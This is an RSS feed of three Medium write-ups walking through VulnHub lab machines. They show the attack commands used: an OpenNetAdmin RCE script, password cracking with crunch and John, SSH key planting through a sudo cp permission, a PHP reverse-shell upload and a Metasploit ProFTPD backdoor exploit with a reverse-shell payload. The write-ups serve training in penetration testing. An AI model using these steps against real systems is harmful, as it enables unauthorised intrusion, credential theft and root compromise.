<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jassim Talal on Medium]]></title>
        <description><![CDATA[Stories by Jassim Talal on Medium]]></description>
        <link>https://medium.com/@JTM_14810?source=rss-5c729d718a07------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5twuACpcJy_hq0RZblyb3A.jpeg</url>
            <title>Stories by Jassim Talal on Medium</title>
            <link>https://medium.com/@JTM_14810?source=rss-5c729d718a07------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 15:27:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@JTM_14810/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Five86–1: Mapping the Attack Surface]]></title>
            <link>https://medium.com/@JTM_14810/five86-1-mapping-the-attack-surface-d55198d25d02?source=rss-5c729d718a07------2</link>
            <guid isPermaLink="false">https://medium.com/p/d55198d25d02</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Jassim Talal]]></dc:creator>
            <pubDate>Sun, 29 Nov 2026 14:59:51 GMT</pubDate>
            <atom:updated>2026-11-29T15:02:15.205Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty : Easy/Medium</p><blockquote><em>In this write-up, I will document my process of exploiting Five86–1, a VulnHub machine. My goal is to gain root access using manual techniques without Metasploit.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*W7PhS60uMGiw9H4tiuGjPQ.jpeg" /><figcaption><strong>Lets get Started</strong></figcaption></figure><h3>1. Host Discovery</h3><p><em>Before scanning for vulnerabilities, I needed to identify the target’s IP address. I used netdiscovery to find active devices on my local network.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*smCZAa4A6ez5LI62jsVeIg.png" /><figcaption>Netdiscover 1.0</figcaption></figure><blockquote>The scan identified four hosts. I selected 192.168.2.16 as Five86-1 and used it for the next stage.</blockquote><h3>2. Nmap Port Scanning</h3><p><em>I ran the following command to identify the target’s open TCP ports:</em></p><pre>nmap --open -sS -T4 192.168.2.16</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*UJj_mz6ZZqFp3HsVdsuLOw.png" /><figcaption>Nmap Scan 1.1</figcaption></figure><blockquote>The scan revealed three open ports: 22 (SSH), 80 (HTTP), and 10000 (service requiring further identification). I chose to investigate the web services to identify potential entry points.</blockquote><h3>3. Checking robots.txt</h3><p>I checked robots.txt to see whether the website revealed any paths that should be excluded from search engine indexing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*MXBMfR1CB-J74NDr0dWwHA.png" /><figcaption>Robots.txt 1.2</figcaption></figure><blockquote>The file was simple, but one line caught my attention: Disallow: /ona. I opened that path in the browser to see what was running there.</blockquote><h3>4. Discovering OpenNetAdmin</h3><p>I opened the /ona path and found an OpenNetAdmin (ONA) web interface. I checked the “About ONA” window and identified the installed version as <strong>v18.1.1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yr1o0TcrrNqmru0Q16Pgig.png" /><figcaption>/ona/ dir 1.3</figcaption></figure><blockquote>Now I had the application name and version, so I could start checking whether it had any known vulnerabilities using <strong><em>searchsploit</em></strong>.</blockquote><h3>5. Searching for OpenNetAdmin Vulnerabilities</h3><p>Since I identified OpenNetAdmin v18.1.1, I searched Exploit-DB using searchsploit opennetadmin to check for publicly documented vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z6X02YA42Gwihj0o7Skrvg.png" /><figcaption>searchsploit 1.4</figcaption></figure><blockquote>The results included a remote code execution entry for version 18.1.1, with a shell script available at php/webapps/47691.sh. I chose to examine this option for the lab.</blockquote><p>I ran the script against the OpenNetAdmin URL:</p><pre>bash 47691.sh http://192.168.2.16/ona/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*cEWhn02pU4T6nP-UU7V8pA.png" /><figcaption>47691.sh 1.5</figcaption></figure><blockquote>The command opened a command prompt. I ran whoami, which returned www-data, confirming that the commands were executing as the web server account. I then used ls to inspect the application directory and see its files and folders.</blockquote><h3>6. Searching for Stored Credentials</h3><p>While exploring the web server directories, I checked /var/www and noticed a hidden file named .htpasswd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*5lQqiUUCcaU9cCU5hyamAw.png" /><figcaption>/var/www/.htpasswd/ 1.6</figcaption></figure><blockquote>I opened the file using cat and found a credential entry for the user douglas. There was also an interesting comment below it: the password was 10 characters long and used the character set aefhrt. This gave me a useful clue for the password-cracking stage.</blockquote><h3>7. Identifying the Hash</h3><p>Before attempting to crack the password, I wanted to identify the hash format. I used hash-identifier and supplied the hash from the .htpasswd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*Fbw8ME8FOTo2Yalvo6Y6zA.png" /><figcaption>hash-identifier 1.7</figcaption></figure><blockquote>The tool identified it as <strong>MD5(APR)</strong>. This confirmed the format I needed to use when choosing a cracking tool.</blockquote><h3>8. Generating a Custom Wordlist with Crunch</h3><p>Since the comment in .htpasswd revealed the password length and allowed characters, I decided to generate a custom wordlist using Crunch.</p><p>I ran:</p><pre>crunch 10 10 aefhrt -o ansh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*LvauLcCHmMhnsbbdVf6OZA.png" /><figcaption>Crunch 1.8</figcaption></figure><blockquote>This generated all possible 10-character combinations using aefhrt and saved them to a file named ansh. Crunch reported that it generated 60,466,176 combinations.</blockquote><h3>9. Cracking the Hash with John the Ripper</h3><p>With my custom wordlist ready, I used John the Ripper to test its contents against the hash.</p><pre>john --format=md5crypt --wordlist=ansh hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*jywE0DTdXcXVUcecKNAu2Q.png" /><figcaption>John 1.9</figcaption></figure><blockquote>This time, John successfully recovered the password. The custom wordlist worked because it was based on the password length and character-set hint I discovered earlier, rather than relying on a general dictionary.</blockquote><h3>10. Connecting Through SSH</h3><p>After recovering the password, I used SSH to log in as douglas on the target machine.</p><pre>ssh douglas@192.168.2.16</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ooSVIq9BLjlxLgW-83qog.png" /><figcaption>ssh douglas 2.0</figcaption></figure><blockquote>After accepting the server’s SSH host key and entering the recovered password, I gained access to the machine as douglas. The terminal displayed the Debian system information and gave me a shell prompt.</blockquote><h3>11. Enumerating Sudo Permissions</h3><p>After logging in as douglas, I checked the available sudo permissions:</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*RC600T9RQtXax0eY8AqISA.png" /><figcaption>sudo -l 2.1</figcaption></figure><blockquote>The output revealed an interesting permission: douglas could execute /bin/cp as jen without a password (NOPASSWD). This was a potential privilege-escalation path, so I decided to investigate how this permission could be used.</blockquote><h3>12. Escalating Privileges to jen</h3><p>After discovering that douglas could execute /bin/cp as jen without a password, I investigated how this permission could be used to access the jen account.</p><p>I started by copying my SSH public key into a temporary file named authorized_keys and adjusting its permissions. I then used the allowed sudo command to copy this file into jen&#39;s SSH directory.</p><pre>cp .ssh/id_rsa.pub /tmb/authorized_keys<br>chmod 777 /tmp/authorized_keys<br>sudo-u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/<br>ssh jen@192.168.2.16<br></pre><blockquote>With the public key in place, I attempted to connect to the machine through SSH as jen. After accepting the host&#39;s SSH fingerprint, the connection succeeded, and I was presented with a shell under the jen account.</blockquote><blockquote>This confirmed that the sudo permission could be abused to gain access to another user’s account.</blockquote><p><strong>Figures:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*uHfstm0e25aUVvVHXCdLBw.png" /><figcaption>2.2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*hGqaskro4X_IqMc5-4_g7w.png" /><figcaption>jen 2.3</figcaption></figure><blockquote>After successfully logging in as jen, a small message caught my attention. It mentioned that jen had received an email. I decided to investigate it and see what information it might contain.</blockquote><h3>13. Discovering Credentials Through Email</h3><p>After gaining access to the jen account, I decided to investigate the mailbox using the mail command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_eZp_NuT7CMMvM0OBwQipw.png" /><figcaption>Moss passwd 2.3</figcaption></figure><blockquote>I found an email from Roy with the subject “Monday Moss”. The message explained that Roy had changed Moss’s password earlier that day and included the new password that has been assigned.</blockquote><blockquote>This was an important discovery because it provided another set of credentials that could potentially allow me to access a different user account on the machine.</blockquote><h3>14. Gaining Access to the Moss Account</h3><p>Using the credentials discovered in Roy’s email, I attempted to connect to the machine as moss through SSH.</p><pre>ssh moss@192.168.2.16</pre><blockquote>After entering the password, I successfully logged in and gained access to the moss account.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*kCXHByPhHpSZk5tphyCjEA.png" /><figcaption>SSH Moss 2.4</figcaption></figure><h3>15. Discovering the .games Directory</h3><p>Once logged in as moss, I decided to inspect the contents of the home directory using:</p><pre>ls -la</pre><blockquote>While reviewing the directories, one particular entry caught my attention: .games. I decided to investigate it further to see what it contained.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*tHARDM5HjMBGXRz7_SwPSA.png" /><figcaption>.games/ 2.5</figcaption></figure><h3>16. Discovering an Interesting SUID Binary</h3><blockquote>After entering the .games directory, I listed its contents using ls -la to inspect the available files.</blockquote><blockquote>Most of the entries were symbolic links pointing to games located in /usr/games. However, one file caught my attention: upyourgame.</blockquote><blockquote>Unlike the other entries, this was an executable owned by root, and its permissions showed that the SUID bit was enabled. This made it particularly interesting, so I decided to investigate it further.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Z5LCtSriZ6o24zFNIRkrQ.png" /><figcaption>upyourgame 2.6</figcaption></figure><h3>17. Achieving Root Access</h3><p>After discovering the SUID-enabled upyourgame executable, I decided to run it to investigate its behaviour.</p><pre>./upyourgame</pre><blockquote>The program started an interactive game and asked me several questions. After completing its prompts, something unexpected happened: instead of returning to the normal shell, it opened a Bash shell.</blockquote><blockquote>To verify my privileges, I executed:</blockquote><pre>id</pre><blockquote>The output confirmed that I had successfully obtained root privileges, showing uid=0(root).</blockquote><blockquote>I then navigated to the /root directory in which I found the flag.txt.</blockquote><blockquote>This confirmed that I had successfully gained root access to the Five86–1 machine.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*whif52NgTZfvQTs63cf4uA.png" /><figcaption>Root 2.7</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*n69pqAd4T6Q5KHh_rBin9g.jpeg" /></figure><blockquote>Five86–1 was a valuable hands-on penetration testing experience. Throughout the machine, I practised host discovery, service enumeration, web application investigation, credential discovery, password cracking, SSH access and Linux privilege escalation.</blockquote><blockquote>One of the most interesting parts was discovering how seemingly ordinary permissions and files could lead to further access. The final SUID executable provided the path to root, completing the machine.</blockquote><blockquote>Overall, this challenge helped me understand how different vulnerabilities and misconfigurations can be connected during a penetration test, from initial enumeration to gaining full system access.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d55198d25d02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JIS-CTF01 — VulnHub Write-Up]]></title>
            <link>https://medium.com/@JTM_14810/jis-ctf01-vulnhub-write-up-22de301dbc56?source=rss-5c729d718a07------2</link>
            <guid isPermaLink="false">https://medium.com/p/22de301dbc56</guid>
            <dc:creator><![CDATA[Jassim Talal]]></dc:creator>
            <pubDate>Sat, 08 Aug 2026 17:31:45 GMT</pubDate>
            <atom:updated>2026-11-30T11:03:04.751Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty</strong>: <em>Easy</em></p><p>JIS-CTF01 is a vulnerable machine from VulnHub that contains <strong>five flags</strong>. 1. Port Scanning</p><p>In this write-up, I will document the complete process, including network reconnaissance, web enumeration, initial access, user enumeration, and the discovery of all five flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*l6ifhmPz2mrMGnKGALzQaQ.gif" /><figcaption><strong>Lets Hack</strong></figcaption></figure><h3>Step 1 — Port Scanning</h3><p><em>After identifying the target IP address, I started with an Nmap scan to discover the open ports and services running on the machine. I also used service and version detection to gather information that could help identify potential attack surfaces.</em></p><pre>nmap --open -sV 192.168.2.9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*tWoUIt0e7ODDJ1ZSpQjhdw.png" /><figcaption><strong>Port Scanning. 1</strong></figcaption></figure><blockquote>The scan revealed two open ports: <strong>22/tcp</strong>, running OpenSSH 7.2p2, and <strong>80/tcp</strong>, running Apache 2.4.18 on Ubuntu. Since HTTP was available, I decided to investigate the web server next.</blockquote><h3>Step 2 — Web Enumeration</h3><p>After discovering that port 80 was running an Apache web server, I opened the website in my browser. The page presented a login form with fields for a username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*3N4RIAJxC3ksuwM4TolMZQ.png" /><figcaption>Login Form 1.1</figcaption></figure><blockquote>Since the website contained a login page, I decided to enumerate the web server for hidden directories and files using Gobuster.</blockquote><h3>Step 3 — Directory Enumeration</h3><p>To discover hidden directories and files on the web server, I used Gobuster with the common.txt wordlist.</p><pre>gobuster dir -u 192.168.2.9 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*H25KBMZHP6HTYXN1LTmc2g.png" /><figcaption>Gobuster Enumeration 1.2</figcaption></figure><blockquote>The scan revealed several interesting directories and files, including /admin_area/, /assets/, /flag/, /js/, /index.php, and /robots.txt. I decided to investigate the discovered paths for further information.</blockquote><h3>Step 4 — Web Enumeration</h3><p>I started investigating the directories discovered during the Gobuster scan. One of the most interesting results was /flag/, so I accessed it directly through the browser. The directory contained a page revealing the first flag, confirming that the directory enumeration was already providing useful information about the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*m1XLwrKF9XUWGSrT4B6snw.png" /><figcaption>/flag/ Directory 1.3</figcaption></figure><blockquote>The first flag was successfully discovered. I have hidden its value in the screenshot to avoid exposing the flag directly. Next, I investigated the /admin_area/ directory because its name suggested that it might contain administrative functionality or additional information. However, accessing the directory did not reveal anything useful.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*KmDlz8-nHMTRf90YnG2REg.png" /><figcaption>/admin-area/ Web Page 1.4</figcaption></figure><blockquote>Since the visible page and the admin directory did not provide any further useful information, I decided to inspect the HTML source code of the main page. Checking the source code can reveal information that is not visible on the webpage itself, such as comments, hidden fields, credentials, or other clues.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*KqUP5pycRG8JkhOqsMEYmw.png" /><figcaption>/admin_area/ Source Code 1.5</figcaption></figure><blockquote>While examining the source code, I discovered the <strong>second flag</strong>, along with a <strong>username and password</strong>. These credentials appeared to correspond to the login form discovered earlier, giving me a potential way to continue the enumeration and gain further access to the application.</blockquote><h3>Step 5 — Discovering the File Upload Functionality</h3><p>I continued the web enumeration by checking the robots.txt file. The file contained an interesting entry pointing to /uploaded_files, which suggested that the application might allow files to be uploaded and stored on the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*A0zXYWkcgIU-Zmse8QO_Hg.png" /><figcaption>/robots.txt/ Page 1.5</figcaption></figure><blockquote>I then returned to the credentials discovered in the source code and used the username and password on the login form. After successfully authenticating, I was presented with a <strong>file upload page</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUIpOJdLzYUeRP3MajFuRw.png" /><figcaption>File Upload 1.6</figcaption></figure><blockquote>Since I had identified a file upload functionality, I needed to determine whether the application would allow me to upload a PHP file that could provide a connection back to my Kali machine. For the lab, I used a PHP reverse-shell payload and prepared it for the target environment.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*qpOxacsxwoZpXa0mOXQjpw.png" /><figcaption>Reverse Shell 1.7</figcaption></figure><blockquote>I used this PHP reverse-shell payload in <a href="https://www.revshells.com/">Reverse Shell Generator</a> as the file I would attempt to upload to the target. The payload was configured to connect back to my Kali machine, allowing me to obtain a shell if the server executed the uploaded PHP file.</blockquote><h3>Step 6 — Gaining a Reverse Shell</h3><p>After preparing the PHP reverse-shell payload, I uploaded it through the file upload functionality and started a Netcat listener on my Kali machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*9pmIiGJO_Kp9PmgYlzLJZQ.png" /><figcaption>Reverse Shell Uploaded 1.8</figcaption></figure><blockquote><em>I then accessed the uploaded PHP file from the target. The target executed the payload and established a connection back to my Kali machine, giving me a shell as the </em><em>www-data user.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*comOm9W8UKk9VRM1nqJxqg.png" /><figcaption>Shell Obtained 1.9</figcaption></figure><blockquote><em>I now had initial access to the target as </em><em>www-data, so I could begin enumerating the system for further information and potential privilege-escalation paths.</em></blockquote><h3>Step 7 — Local File Enumeration</h3><p>After obtaining a shell as www-data, I navigated to /var/www/html/ and began examining the files avSsailable there. While examining the directory, I found a file named hint.txt. I opened the file to see whether it contained any useful information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HJkiOYh6Ux5zGekpRf4DTw.png" /><figcaption>hint.txt 2.0</figcaption></figure><h3>Step 8 — Finding the Hidden File</h3><p>Based on the hint from hint.txt, I knew that the password for the technawi user was stored in a file somewhere on the system. I used find to search the filesystem for the credentials.txt file mentioned in the hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bUNQkQY1JWGEm49fFkR3Gg.png" /><figcaption>Hidden File 2.1</figcaption></figure><blockquote>I opened the file and found the <strong>fourth flag</strong>, along with a username and password for the technawi user.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wJ_PrFiBmUK_bezW5RtDDQ.png" /><figcaption>Credentials.txt 2.2</figcaption></figure><h3>Step 9 — Accessing the technawi Account</h3><p>Using the credentials discovered in the hidden file, I switched from the www-data user to the technawi account using the su command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*1bUy07fn6HFNhJcJL4FaIQ.png" /><figcaption>Technawi Account 2.3</figcaption></figure><blockquote><em>After successfully accessing the </em><em>technawi account, I navigated back to </em><em>/var/www/html/, where I found a file named </em><em>flag.txt containing the </em><strong><em>fifth and final flag</em></strong><em>.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*yXTjQz1K-Qiy2ObVaDZd7A.png" /><figcaption>Final Flag 2.4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*mRpJoRKoDkp9fDYLl_YB3w.gif" /><figcaption>Finished</figcaption></figure><h3>Lessons Learned</h3><blockquote><strong>This machine reinforced the importance of systematic enumeration throughout a penetration test. I gained practical experience with web directory enumeration, source-code analysis, credential discovery, file-upload exploitation, reverse shells, and Linux user enumeration. It also demonstrated how seemingly minor findings can be combined to progress from initial access to access as another user.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22de301dbc56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Pentesting: 1 Walkthrough | VulnHub]]></title>
            <link>https://medium.com/@JTM_14810/basic-pentesting-vulnhub-write-up-88b388275f2c?source=rss-5c729d718a07------2</link>
            <guid isPermaLink="false">https://medium.com/p/88b388275f2c</guid>
            <dc:creator><![CDATA[Jassim Talal]]></dc:creator>
            <pubDate>Wed, 05 Aug 2026 11:04:33 GMT</pubDate>
            <atom:updated>2026-08-05T12:38:49.925Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Difficulty </strong>: Easy</p><p>In this write-up, I demonstrate the complete exploitation process of the <strong>Basic Pentesting</strong> machine. The assessment includes reconnaissance, service enumeration, vulnerability research, exploitation using Metasploit, and verification of successful system compromise.</p><h3><strong>Step 1 : Network Scanning</strong></h3><p>To begin the assessment, I performed a service version scan on the target machine to identify exposed services and determine their versions.</p><pre>nmap -sV --open 192.168.2.6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1oVFbP4HH3pgqGmsfLuE_w.png" /></figure><p><strong><em>The scan identified several open ports and their associated services. Based on the results, the FTP service appeared to be the most promising attack vector due to its exposed version information.</em></strong></p><h3><strong>Step 2 </strong>: Accessing the Web Enumeration</h3><p>After identifying an HTTP service during the reconnaissance phase, I accessed the web application through a web browser to determine whether it exposed any useful information, functionality, or potential attack vectors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7nWsZKTtZoMqb74RSeNiQ.png" /></figure><p><strong><em>The website loaded successfully and appeared to be a simple web page. No obvious vulnerabilities or sensitive information were immediately visible. Since the web application did not provide an immediate point of entry, I continued enumerating the other exposed services identified during the Nmap scan.</em></strong></p><h3><strong>Step 3 : FTP Enumeration and Vulnerability Research</strong></h3><p>After identifying the FTP service during the reconnaissance phase, I first attempted to connect using anonymous authentication. However, the server did not allow anonymous login, indicating that valid credentials were required. Since direct access was unsuccessful, I used the detected <strong>ProFTPD 1.3.3c</strong> service to search the internet for publicly available vulnerabilities. My research led me to a known exploit matching the identified FTP version, which was selected for the next phase of the assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNxyNRjUieOv83XPoF9UPg.png" /></figure><p><strong><em>Since anonymous FTP access was not permitted, I investigated the detected FTP version for publicly available vulnerabilities. My research led me to a matching exploit on the </em></strong><a href="https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_133c_backdoor/"><strong><em>Rapid7 </em></strong></a><strong><em>vulnerability database, which I chose to use through the Metasploit Framework in the next phase of the assessment.</em></strong></p><h3><strong>Step 4 : Exploitation</strong></h3><p>After identifying a matching exploit on the Rapid7 vulnerability database, I used the Metasploit Framework to exploit the vulnerable FTP service. I searched for the corresponding exploit module, reviewed its information to verify that it matched the target service, configured the target IP address, and executed the exploit. The exploitation was successful, resulting in a root shell on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iMeoknoDm49ISnZfb5rV8w.png" /></figure><pre>sudo msfconsole                                  # Start the Metasploit Framework<br>search ProFTPD 1.3.3c                            # Search for an exploit targeting the detected ProFTPD version<br>use 0                                            # Select the exploit module returned by the search<br>set RHOSTS &lt;Target_IP&gt;                           # Set the IP address of the target machine<br>set payload payload/cmd/unix/reverse_perl        # Choose the payload to establish a reverse shell<br>set LHOST &lt;Attacker_IP&gt;                          # Set the IP address of the attacker&#39;s machine<br>run                                              # Execute the exploit and attempt to gain a shell</pre><p><strong><em>After identifying the appropriate Metasploit module for the ProFTPD 1.3.3c vulnerability, I loaded the exploit and configured it with the target’s IP address (</em></strong><strong><em>RHOSTS) and the local host (</em></strong><strong><em>LHOST) to receive the reverse shell connection. A compatible reverse shell payload (</em></strong><strong><em>payload/cmd/unix/reverse_perl) was then selected before executing the exploit. Upon successful execution, Metasploit established a command shell session with the target system. The </em></strong><strong><em>whoami command confirmed that the session was running with root privileges, demonstrating that the exploitation was successful.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88b388275f2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>